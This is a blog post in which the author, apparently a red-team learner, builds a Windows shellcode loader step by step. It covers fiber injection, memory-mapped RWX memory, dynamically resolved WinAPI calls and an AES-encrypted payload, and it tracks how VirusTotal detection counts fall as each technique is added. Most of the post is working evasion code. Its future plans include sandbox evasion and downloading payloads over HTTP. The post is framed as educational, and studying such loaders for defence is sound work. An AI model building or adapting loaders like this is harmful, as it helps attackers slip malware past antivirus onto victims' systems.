Building a Shellcode Loader – Part 1: Fiber Injection, Mapping & AES

April 18, 2025

After completing the MalDev Academy course — which dives deep into modern malware development techniques — I wanted to put what I'd learnt into practice.

This series is my attempt to:

  • Put what I’ve learned into practice
  • Document my progress
  • Gain a red team operator's perspective of malware

> Instead of building a tool just to evade antivirus, I want to design and iterate — building a tool, incorporating various techniques and understanding what gets flagged and why.

What is Shellcode Loader

At its simplest, a shellcode loader is a program that:

  1. Allocates memory
  2. Copies raw shellcode into it
  3. Marks it executable
  4. Jumps to its memory location

In this form, the shellcode is completely visible and unchanged from its original format — making it very easy to detect and analyze. Additionally, the use of techniques like VirtualAlloc and RWX memory regions are well-known red flags to AV and EDR solutions.

Minimal Shellcode Loader

#include <windows.h>

unsigned char shellcode[] = {
    // shellcode payload (msfvenom -p windows/x64/exec CMD=calc.exe -f c)

};

int main() {
    void* exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();  // Jump to shellcode
}

BaseInjection

Improving

Step 1: Fiber Hijacking/Injection

In my learning, I found a technique I hadn't previously seen. Essentially fibers are threads within threads and have long been forgotten as computers have gotten better and better. As such, their obscurity may help them evade detection by some AV or EDR tools.

The technique essentially works the same as thread hijacking. However, instead you convert your thread to a fiber. Remote Fiber Hijacking can be seen in PoCs such as PoisonFiber. In this example it was kept basic and a local fiber was used instead.

void* execMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!execMem) {
    printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
    return;
}

memcpy(execMem, shellcode, sizeof(shellcode));
LPVOID currentFiber = ConvertThreadToFiber(NULL);
LPVOID shellcodeFiber = CreateFiber(0, ShellcodeFiber, execMem);


SwitchToFiber(shellcodeFiber);
DeleteFiber(shellcodeFiber);

return;
2025-04-18_17-14

With this we get 36/72. Unfortunately not a great improvement on basic injection. Remote Fiber Hijacking will likely work better but for now it will do.

Step 2: Mapping Memory

To try to improve on VirtualAlloc which is highly suspicious to AV, I switched to memory-mapped file which is arguably slightly less suspicious.

BOOL   bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID  pMapAddress = NULL;
    hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    // Maps the view of the payload to the memory 
    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    DWORD oldProtect;


    memcpy(pMapAddress, shellcode, sizeof(shellcode));

  
    LPVOID currentFiber = ConvertThreadToFiber(NULL);
    LPVOID shellcodeFiber = CreateFiber(0, ShellcodeFiber, pMapAddress);


    SwitchToFiber(shellcodeFiber);
    DeleteFiber(shellcodeFiber);

 
    UnmapViewOfFile(pMapAddress);

_EndOfFunction:
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;

MapVT


With mapped memory we get a slight improvement of 31/72 but not what we're after, although it is an improvement considering the shellcode is still unencrypted and running from RWX memory.

Step 3: Dynamically Resolve WinAPI

Once again to try and improve, I dynamically resolved WinAPI calls within the program. Linking WinAPI functions statically results in them being listed in the executable's Import Address Table which means suspicious WinAPI usage will be easily flagged by AV/EDR products.

typedef LPVOID(WINAPI* fnCreateFiber)(
    SIZE_T dwStackSize,
    LPFIBER_START_ROUTINE lpStartAddress,
    LPVOID lpParameter
    );
typedef LPVOID(WINAPI* fnConvertThreadToFiber)(
    LPVOID lpParameter
    );
// include typedef for all functions based on WinAPI documentation
int main() {


    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");

 
    fnCreateFiber CreateFiberA = (fnCreateFiber)GetProcAddress(hKernel32, "CreateFiber");
    fnConvertThreadToFiber ConvertThreadToFiberA = (fnConvertThreadToFiber)GetProcAddress(hKernel32, "ConvertThreadToFiber");

    fnSwitchToFiber SwitchToFiberA = (fnSwitchToFiber)GetProcAddress(hKernel32, "SwitchToFiber");
    fnDeleteFiber DeleteFiberA = (fnDeleteFiber)GetProcAddress(hKernel32, "DeleteFiber");
    fnCreateFileMappingW CreateFileMappingA = (fnCreateFileMappingW)GetProcAddress(hKernel32, "CreateFileMappingW");
    fnMapViewOfFile MapViewOfFileA = (fnMapViewOfFile)GetProcAddress(hKernel32, "MapViewOfFile");
    fnUnmapViewOfFile UnmapViewOfFileA = (fnUnmapViewOfFile)GetProcAddress(hKernel32, "UnmapViewOfFile");

    BOOL   bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID  pMapAddress = NULL;
    hFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    // Maps the view of the payload to the memory 
    pMapAddress = MapViewOfFileA(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    DWORD oldProtect;

    memcpy(pMapAddress, shellcode, sizeof(shellcode));

    
    LPVOID currentFiber = ConvertThreadToFiberA(NULL);
    LPVOID shellcodeFiber = CreateFiberA(0, ShellcodeFiber, pMapAddress);


    SwitchToFiberA(shellcodeFiber);
    DeleteFiberA(shellcodeFiber);

    UnmapViewOfFileA(pMapAddress);

DynamicLoadVT


While the score didn’t improve significantly, analysis of the VirusTotal detections revealed several were identifying the msfvenom payload.

Step 4: Adding AES Encryption to Obfuscate Static Payloads

To avoid having the shellcode simply stored within the file for easy static detection, an AES encrypted payload was added instead as well as a decryption function via Tiny AES library.

An encryptor project was created which generated a random IV and Key and then encrypted the shellcode with them. AES requires a payload dividable by 16 and if not, requires padding so a padding function was also created.

GenerateRandomBytes(pKey, KEYSIZE); 
GenerateRandomBytes(pIv, IVSIZE);               // Generating the IV
PrintHexData("pKey", pKey, KEYSIZE);
PrintHexData("pIv", pIv, IVSIZE);
// Initializing the Tiny-AES Library
AES_init_ctx_iv(&ctx, pKey, pIv);

if (sizeof(Data) % 16 != 0) {
    PaddBuffer(Data, sizeof(Data), &PaddedBuffer, &PAddedSize);
		// Encrypting the padded buffer instead
    AES_CBC_encrypt_buffer(&ctx, PaddedBuffer, PAddedSize);
		// Printing the encrypted buffer to the console
    PrintHexData("CipherText", PaddedBuffer, PAddedSize);
    outputSize = PAddedSize;
	}
	// No padding is required, encrypt 'Data' directly
else {
    AES_CBC_encrypt_buffer(&ctx, Data, sizeof(Data));
		// Printing the encrypted buffer to the console
    PrintHexData("CipherText", Data, sizeof(Data));
    outputSize = sizeof(Data);

    }

Encryptor Output

This output could then replace our raw shellcode in the original project and our injection method could be updated to decrypt the payload first.

DecryptedPayload decrypt(void) {
	// Struct needed for Tiny-AES library
	struct AES_ctx ctx;
	// Initializing the Tiny-AES Library
	AES_init_ctx_iv(&ctx, pKey, pIv);

	
	DecryptedPayload result = { 0 };
	SIZE_T size = sizeof(CipherText);

	PBYTE decrypted = (PBYTE)api.VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!decrypted) {
		printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
		return result;
	}

	// Decrypting
	
	memcpy(decrypted, CipherText, size);
	AES_CBC_decrypt_buffer(&ctx, decrypted, size);

	result.data = decrypted;
	result.size = size;

	return result;
}

// and in fiber.c

DecryptedPayload payload = decrypt();
if (!payload.data) return;

memcpy(pMapLocalAddress, payload.data, payload.size);

AESVT



With this we get a much better score of 18/72. Getting somewhere but still a long way to go.

I'm also aware VirusTotal does not provide the most accurate picture, although it does a good enough job to show progress and effectiveness of the techniques as I go. Hopefully these posts will eventually delve into EDR evasion although that may be further down the line.

Future Work

The next goal will be to increase stealth and modularity by:

  • Implementing additional injection techniques such as Early Bird APC and Remote Thread Hijacking
  • Replacing WinAPI strings with hashed or encrypted function names
  • Adding basic anti-analysis features like sandbox evasion (mouse movement, resolution checks, etc)
  • Downloading payloads over HTTP/S and decrypting them in memory

Disclaimer

No prior experience with C or Malware Development. There may be mistakes or poor practices so if you spot any let me know.

All testing was performed in a controlled, isolated environment. This project is for educational and research purposes only.

Return